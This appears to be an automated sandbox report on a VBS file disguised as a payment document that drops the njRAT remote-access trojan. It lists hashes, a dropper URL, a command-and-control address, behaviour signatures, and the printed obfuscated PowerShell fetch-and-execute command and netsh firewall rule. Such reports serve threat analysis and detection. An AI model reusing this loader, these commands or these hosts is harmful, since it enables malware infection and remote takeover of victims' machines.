Analysis

  • max time kernel
    142s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10-en
  • submitted
    15-09-2021 16:16

General

  • Target

    Payment On Account.vbs

  • Size

    3KB

  • MD5

    7ad432e7164dcff056883fe786d9fb7b

  • SHA1

    0985f8d96a8e972ad6a8fef0f8ca6774f13c1373

  • SHA256

    34f778359bb71ac8bcf04edb0d48e9f4209fea9fa79c273fc3669c5e94042a5b

  • SHA512

    7b7a977cd1bdfd9e302ea0989e53bc1de1efe267693d850193617a4744e0049d73ec0aaca7897465fb5e00d1f74588929fcb259adc3ac6f7edb330637f0b742c

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://54.184.87.30/jbypass.txt

Extracted

Family

njrat

Version

0.7d

Botnet

HacKed

C2

103.147.184.73:8319

Mutex

98d5ec0a408febb60524eab801ba601c

Attributes
  • reg_key

    98d5ec0a408febb60524eab801ba601c

  • splitter

    |'|'|

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)

    suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)

  • Blocklisted process makes network request 2 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment On Account.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4652
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://54H-H184H-H87H-H30/jbypassH-Htxt'.Replace('H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X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split '-X-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4700
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5008
        • C:\Windows\SysWOW64\netsh.exe
          netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" "aspnet_compiler.exe" ENABLE
          4⤵
            PID:5064

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Modify Existing Service

    1
    T1031

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/4700-115-0x0000000000000000-mapping.dmp
    • memory/4700-120-0x000001F7A1040000-0x000001F7A1041000-memory.dmp
      Filesize

      4KB

    • memory/4700-124-0x000001F7A1B90000-0x000001F7A1B91000-memory.dmp
      Filesize

      4KB

    • memory/4700-125-0x000001F7A1030000-0x000001F7A1032000-memory.dmp
      Filesize

      8KB

    • memory/4700-126-0x000001F7A1033000-0x000001F7A1035000-memory.dmp
      Filesize

      8KB

    • memory/4700-128-0x000001F7A1036000-0x000001F7A1038000-memory.dmp
      Filesize

      8KB

    • memory/4700-142-0x000001F7A1038000-0x000001F7A1039000-memory.dmp
      Filesize

      4KB

    • memory/4700-153-0x000001F7A10A0000-0x000001F7A10A4000-memory.dmp
      Filesize

      16KB

    • memory/5008-154-0x0000000000400000-0x000000000040C000-memory.dmp
      Filesize

      48KB

    • memory/5008-155-0x000000000040746E-mapping.dmp
    • memory/5008-159-0x0000000004D20000-0x0000000004D21000-memory.dmp
      Filesize

      4KB

    • memory/5008-160-0x0000000005300000-0x0000000005301000-memory.dmp
      Filesize

      4KB

    • memory/5008-162-0x0000000004FA0000-0x0000000004FA1000-memory.dmp
      Filesize

      4KB

    • memory/5008-163-0x0000000004E00000-0x00000000052FE000-memory.dmp
      Filesize

      5.0MB

    • memory/5008-164-0x0000000005050000-0x0000000005051000-memory.dmp
      Filesize

      4KB

    • memory/5008-165-0x0000000005120000-0x0000000005121000-memory.dmp
      Filesize

      4KB

    • memory/5064-161-0x0000000000000000-mapping.dmp